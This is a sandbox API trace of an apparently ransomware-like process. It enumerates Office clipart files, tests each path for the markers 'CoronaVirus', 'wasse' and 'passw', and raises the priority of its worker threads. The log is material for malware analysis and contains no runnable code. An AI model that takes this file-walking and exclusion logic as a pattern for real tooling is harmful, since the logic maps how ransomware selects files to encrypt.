	[0102.499] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.bmp", _SubStr="wasse") returned 0x0
	[0102.500] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.bmp", _SubStr="passw") returned 0x0
	[0102.519] malloc (_Size=0x1000) returned 0x51f60a0
	[0102.519] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.jpg") returned 68
	[0102.519] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.jpg", _SubStr="CoronaVirus") returned 0x0
	[0102.519] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.jpg", _SubStr="wasse") returned 0x0
	[0102.519] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.jpg", _SubStr="passw") returned 0x0
	[0102.521] malloc (_Size=0x1000) returned 0x51f0070
	[0102.523] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01179J.jpg") returned 68
	[0102.529] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01179J.jpg", _SubStr="CoronaVirus") returned 0x0
	[0102.529] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01179J.jpg", _SubStr="wasse") returned 0x0
	[0102.529] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01179J.jpg", _SubStr="passw") returned 0x0
	[0102.582] malloc (_Size=0x1000) returned 0x51f4090
	[0102.582] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.jpg") returned 68
	[0102.582] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.jpg", _SubStr="CoronaVirus") returned 0x0
	[0102.582] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.jpg", _SubStr="wasse") returned 0x0
	[0102.582] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.jpg", _SubStr="passw") returned 0x0
	[0102.585] malloc (_Size=0x1000) returned 0x51f0070
	[0102.585] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.jpg") returned 68
	[0102.585] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.jpg", _SubStr="CoronaVirus") returned 0x0
	[0102.588] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.jpg", _SubStr="wasse") returned 0x0
	[0102.588] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.jpg", _SubStr="passw") returned 0x0
	[0102.597] malloc (_Size=0x1000) returned 0x51f5098
	[0102.597] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.bmp") returned 68
	[0102.597] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0102.597] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.bmp", _SubStr="wasse") returned 0x0
	[0102.597] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.bmp", _SubStr="passw") returned 0x0
	[0104.022] SetThreadPriority (hThread=0xf64, nPriority=15) returned 1
	[0104.025] malloc (_Size=0x1000) returned 0x51f0070
	[0104.025] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01236U.bmp") returned 68
	[0104.025] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01236U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.026] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01236U.bmp", _SubStr="wasse") returned 0x0
	[0104.026] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01236U.bmp", _SubStr="passw") returned 0x0
	[0104.049] SetThreadPriority (hThread=0xee4, nPriority=15) returned 1
	[0104.063] malloc (_Size=0x1000) returned 0x51f80b0
	[0104.063] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.jpg") returned 68
	[0104.063] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.jpg", _SubStr="CoronaVirus") returned 0x0
	[0104.063] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.jpg", _SubStr="wasse") returned 0x0
	[0104.064] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.jpg", _SubStr="passw") returned 0x0
	[0104.065] SetThreadPriority (hThread=0xf5c, nPriority=15) returned 1
	[0104.080] malloc (_Size=0x1000) returned 0x51f5098
	[0104.080] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.bmp") returned 68
	[0104.081] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.081] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.bmp", _SubStr="wasse") returned 0x0
	[0104.081] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.bmp", _SubStr="passw") returned 0x0
	[0104.081] SetThreadPriority (hThread=0xf50, nPriority=15) returned 1
	[0104.083] malloc (_Size=0x1000) returned 0x51f3088
	[0104.083] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.gif") returned 68
	[0104.083] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.gif", _SubStr="CoronaVirus") returned 0x0
	[0104.083] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.gif", _SubStr="wasse") returned 0x0
	[0104.083] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.gif", _SubStr="passw") returned 0x0
	[0104.109] SetThreadPriority (hThread=0xf58, nPriority=15) returned 1
	[0104.111] malloc (_Size=0x1000) returned 0x51f5098
	[0104.111] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01265U.bmp") returned 68
	[0104.111] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01265U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.114] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01265U.bmp", _SubStr="wasse") returned 0x0
	[0104.114] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01265U.bmp", _SubStr="passw") returned 0x0
	[0104.116] SetThreadPriority (hThread=0xf68, nPriority=15) returned 1
	[0104.120] malloc (_Size=0x1000) returned 0x51f60a0
	[0104.120] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.bmp") returned 68
	[0104.120] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.120] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.bmp", _SubStr="wasse") returned 0x0
	[0104.120] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.bmp", _SubStr="passw") returned 0x0
	[0104.131] SetThreadPriority (hThread=0xf74, nPriority=15) returned 1
	[0104.134] malloc (_Size=0x1000) returned 0x51f3088
	[0104.134] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.bmp") returned 68
	[0104.134] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.141] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.bmp", _SubStr="wasse") returned 0x0
	[0104.141] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.bmp", _SubStr="passw") returned 0x0
	[0104.145] SetThreadPriority (hThread=0xf20, nPriority=15) returned 1
	[0104.147] malloc (_Size=0x1000) returned 0x51f4090
	[0104.147] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.bmp") returned 68
	[0104.147] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.147] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.bmp", _SubStr="wasse") returned 0x0
	[0104.154] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.bmp", _SubStr="passw") returned 0x0
	[0104.155] SetThreadPriority (hThread=0xf38, nPriority=15) returned 1
	[0104.206] malloc (_Size=0x1000) returned 0x51f3088
	[0104.206] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.bmp") returned 68
	[0104.206] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.206] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.bmp", _SubStr="wasse") returned 0x0
	[0104.206] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.bmp", _SubStr="passw") returned 0x0
	[0104.207] SetThreadPriority (hThread=0xf2c, nPriority=15) returned 1
	[0104.209] malloc (_Size=0x1000) returned 0x51f4090
	[0104.209] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.jpg") returned 68
	[0104.209] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.jpg", _SubStr="CoronaVirus") returned 0x0
	[0104.209] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.jpg", _SubStr="wasse") returned 0x0
	[0104.209] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.jpg", _SubStr="passw") returned 0x0
	[0104.409] SetThreadPriority (hThread=0xf4c, nPriority=15) returned 1
	[0104.411] malloc (_Size=0x1000) returned 0x51f3088
	[0104.411] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.jpg") returned 68
	[0104.411] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.jpg", _SubStr="CoronaVirus") returned 0x0
	[0104.411] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.jpg", _SubStr="wasse") returned 0x0
	[0104.411] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.jpg", _SubStr="passw") returned 0x0
	[0104.422] SetThreadPriority (hThread=0xf0c, nPriority=15) returned 1
	[0104.426] malloc (_Size=0x1000) returned 0x51f60a0
	[0104.426] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.bmp") returned 68
	[0104.426] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.431] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.bmp", _SubStr="wasse") returned 0x0
	[0104.431] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.bmp", _SubStr="passw") returned 0x0
	[0104.431] SetThreadPriority (hThread=0xf7c, nPriority=15) returned 1
	[0104.450] malloc (_Size=0x1000) returned 0x51f3088
	[0104.450] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.bmp") returned 68
	[0104.450] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.450] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.bmp", _SubStr="wasse") returned 0x0
	[0104.450] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.bmp", _SubStr="passw") returned 0x0
	[0104.450] SetThreadPriority (hThread=0xf80, nPriority=15) returned 1
	[0104.460] malloc (_Size=0x1000) returned 0x51f4090
	[0104.460] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02053J.jpg") returned 68
	[0104.461] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02053J.jpg", _SubStr="CoronaVirus") returned 0x0
	[0104.461] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02053J.jpg", _SubStr="wasse") returned 0x0
	[0104.463] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02053J.jpg", _SubStr="passw") returned 0x0
	[0104.464] SetThreadPriority (hThread=0xf78, nPriority=15) returned 1
	[0104.466] malloc (_Size=0x1000) returned 0x51f3088
	[0104.466] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.bmp") returned 68
	[0104.466] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.473] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.bmp", _SubStr="wasse") returned 0x0
	[0104.473] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.bmp", _SubStr="passw") returned 0x0
	[0104.476] SetThreadPriority (hThread=0xf84, nPriority=15) returned 1
	[0104.478] malloc (_Size=0x1000) returned 0x51f5098
	[0104.478] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.bmp") returned 68
	[0104.478] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.478] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.bmp", _SubStr="wasse") returned 0x0
	[0104.478] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.bmp", _SubStr="passw") returned 0x0
	[0104.534] SetThreadPriority (hThread=0xf88, nPriority=15) returned 1
	[0104.537] malloc (_Size=0x1000) returned 0x51f60a0
	[0104.537] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.jpg") returned 68
	[0104.537] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.jpg", _SubStr="CoronaVirus") returned 0x0
	[0104.537] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.jpg", _SubStr="wasse") returned 0x0
	[0104.562] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02069J.jpg", _SubStr="passw") returned 0x0
	[0104.563] SetThreadPriority (hThread=0xf8c, nPriority=15) returned 1
	[0104.566] malloc (_Size=0x1000) returned 0x51f5098
	[0104.574] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02071U.bmp") returned 68
	[0104.574] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02071U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.574] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02071U.bmp", _SubStr="wasse") returned 0x0
	[0104.574] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02071U.bmp", _SubStr="passw") returned 0x0
	[0104.574] SetThreadPriority (hThread=0xf94, nPriority=15) returned 1
	[0104.626] malloc (_Size=0x1000) returned 0x51f5098
	[0104.626] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.bmp") returned 68
	[0104.626] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.626] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.bmp", _SubStr="wasse") returned 0x0
	[0104.626] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02074U.bmp", _SubStr="passw") returned 0x0
	[0104.627] SetThreadPriority (hThread=0xf98, nPriority=15) returned 1
	[0104.629] malloc (_Size=0x1000) returned 0x51f0070
	[0104.629] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.bmp") returned 68
	[0104.629] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.629] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.bmp", _SubStr="wasse") returned 0x0
	[0104.629] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.bmp", _SubStr="passw") returned 0x0
	[0104.678] SetThreadPriority (hThread=0xf9c, nPriority=15) returned 1
	[0104.680] malloc (_Size=0x1000) returned 0x51f90b8
	[0104.680] _swprintf (in: param_1=0x51f90b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.bmp") returned 68
	[0104.680] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.680] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.bmp", _SubStr="wasse") returned 0x0
	[0104.680] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.bmp", _SubStr="passw") returned 0x0
	[0104.689] SetThreadPriority (hThread=0xfa0, nPriority=15) returned 1
	[0104.707] malloc (_Size=0x1000) returned 0x51f60a0
	[0104.707] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02291U.bmp") returned 68
	[0104.707] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02291U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.707] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02291U.bmp", _SubStr="wasse") returned 0x0
	[0104.707] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02291U.bmp", _SubStr="passw") returned 0x0
	[0104.707] SetThreadPriority (hThread=0xfa4, nPriority=15) returned 1
	[0104.710] malloc (_Size=0x1000) returned 0x51f3088
	[0104.710] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.bmp") returned 68
	[0104.710] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.710] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.bmp", _SubStr="wasse") returned 0x0
	[0104.717] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.bmp", _SubStr="passw") returned 0x0
	[0104.721] SetThreadPriority (hThread=0xf90, nPriority=15) returned 1
	[0104.732] malloc (_Size=0x1000) returned 0x51f0070
	[0104.732] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.jpg") returned 68
	[0104.732] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.jpg", _SubStr="CoronaVirus") returned 0x0
	[0104.732] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.jpg", _SubStr="wasse") returned 0x0
	[0104.732] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.jpg", _SubStr="passw") returned 0x0
	[0104.733] SetThreadPriority (hThread=0xfa8, nPriority=15) returned 1
	[0104.735] malloc (_Size=0x1000) returned 0x51f80b0
	[0104.735] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.bmp") returned 68
	[0104.735] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.735] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.bmp", _SubStr="wasse") returned 0x0
	[0104.735] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.bmp", _SubStr="passw") returned 0x0
	[0104.737] SetThreadPriority (hThread=0xfb0, nPriority=15) returned 1
	[0104.751] malloc (_Size=0x1000) returned 0x51f3088
	[0104.751] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02466U.bmp") returned 68
	[0104.752] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02466U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.752] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02466U.bmp", _SubStr="wasse") returned 0x0
	[0104.752] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02466U.bmp", _SubStr="passw") returned 0x0
	[0104.752] SetThreadPriority (hThread=0xfb8, nPriority=15) returned 1
	[0104.754] malloc (_Size=0x1000) returned 0x51f0070
	[0104.754] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.bmp") returned 68
	[0104.754] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.754] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.bmp", _SubStr="wasse") returned 0x0
	[0104.754] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.bmp", _SubStr="passw") returned 0x0
	[0104.762] SetThreadPriority (hThread=0xfbc, nPriority=15) returned 1
	[0104.774] malloc (_Size=0x1000) returned 0x51f0070
	[0104.774] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.bmp") returned 68
	[0104.774] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.774] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.bmp", _SubStr="wasse") returned 0x0
	[0104.774] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.bmp", _SubStr="passw") returned 0x0
	[0104.774] SetThreadPriority (hThread=0xfc0, nPriority=15) returned 1
	[0104.937] malloc (_Size=0x1000) returned 0x51f60a0
	[0104.937] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.jpg") returned 68
	[0104.937] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.jpg", _SubStr="CoronaVirus") returned 0x0
	[0104.937] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.jpg", _SubStr="wasse") returned 0x0
	[0104.937] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.jpg", _SubStr="passw") returned 0x0
	[0104.937] SetThreadPriority (hThread=0xfc4, nPriority=15) returned 1
	[0104.952] malloc (_Size=0x1000) returned 0x51f3088
	[0104.952] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736G.gif") returned 68
	[0104.952] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736G.gif", _SubStr="CoronaVirus") returned 0x0
	[0104.952] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736G.gif", _SubStr="wasse") returned 0x0
	[0104.952] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736G.gif", _SubStr="passw") returned 0x0
	[0104.953] SetThreadPriority (hThread=0xfac, nPriority=15) returned 1
	[0104.961] malloc (_Size=0x1000) returned 0x51f4090
	[0104.961] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.bmp") returned 68
	[0104.961] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0104.962] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.bmp", _SubStr="wasse") returned 0x0
	[0104.963] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.bmp", _SubStr="passw") returned 0x0
	[0104.964] SetThreadPriority (hThread=0xfc8, nPriority=15) returned 1
	[0104.966] malloc (_Size=0x1000) returned 0x51f0070
	[0104.973] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.bmp") returned 68
	[0104.973] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.bmp", _SubStr="CoronaVirus") returned 0x0
